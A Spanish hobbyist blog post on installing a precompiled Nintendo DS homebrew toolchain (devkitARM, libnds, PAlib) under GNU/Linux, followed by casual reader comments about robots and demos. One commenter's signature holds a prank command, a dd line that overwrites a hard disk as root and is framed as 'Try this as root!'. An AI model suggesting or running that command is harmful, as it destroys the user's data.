GNU/Linux y Nintendo DS (2ª Parte)

embedded

Segunda entrega de esta serie de recetas sobre el movimiento homebrew para ésta consola...

En una receta anterior de éste mismo blog hablé sobre la instalación de las herramientas para poder programar la NDS bajo GNU/Linux. El problema es que el tiempo pasa y los scenners siguen trabajando y claro, cometen errores y las cosas dejan de funcionar como lo hacían antes (menos mal que suele ser de forma temporal). Con ésto quiero decir, que a día de hoy, la toolchain no compila correctamente, así que me he visto obligado a buscar por ahí la toolchain precompilada y a instalarla en mi equipo.

He conseguido instalar libnds, libfat, dswifi y PAlib. Ésta última es una una abstracción a alto nivel de funciones para vídeo, texto, audio, etc... que tienen por debajo libnds.
Buscando por ahí también he encontrado mas información y tutos sobre ésta última librería, en la página que comento mas arriba, así que me he decido a empezar a trastear en mis pocos ratos libres con PAlib.

Para empezar, después de conseguir instalar las librerías precompiladas en mi máquina, las subí a arco. Dentro del paquete dsTools.tgz se encuentra el árbol de directorios ya montado con toda la toolchain. Para instalarla, basta con descomprimir el paquete dentro de un directorio cualquiera de nuestra máquina y agregar las rutas a nuestros PATHs. Para ello, suponiendo que hemos descomprimido el paquete dentro del directorio /usr/local/stow/dkp/ tan solo tenemos que añadir lo siguiente al archivo ~/.bashrc:

export DEVKITPRO=/usr/local/stow/dkp
export DEVKITARM=/usr/local/stow/dkp/devkitARM
export LIBNDS=/usr/local/stow/dkp/libnds
export LIBNDS_INCLUDE=/usr/local/stow/dkp/libnds/include
export LIBNDS_LIB=/usr/local/stow/dkp/libnds/lib

Con ésto ya tendremos la toolchain lista para funcionar y probar los ejemplos de PAlib.

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de brue

Queremos...

... algo que se mueva y que suene.

--
·brue

brue

bueno....

Pues cantanos una sardana mientras das las palmas..... Ja jajajaja

A ver si pedimos los conectores que faltan y monto el robotillo, que lo tengo a medias. Además, cuando vuelva, si ta Toby por ahí montaremos uno de los robotillos que hay por ahí ¿no Toby? Sticking out tongue :-P

Enga, que yo también tengo ganas de ver un engendro corriendo por ahí Laughing out loud

The cause of the problem is:
The vendor put the bug there.
-- Meta amigo informático --

Imagen de int-0

Por supuesto...

...lo montamos a la de una! te tengo q pedir ayuda porque quiero hacer una plataforma motorizada que se controle por comandillos de puerto serie. Me han dicho que es fácil, y lo será, pero yo no tengo ni idea de esas cosas asiq me tendrás que ir guiando... sensei!
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de brue

Aceptamos robot ...

.. aunque me refería a una demo para la DS.

Un abrazo Javib0t.

--
·brue

brue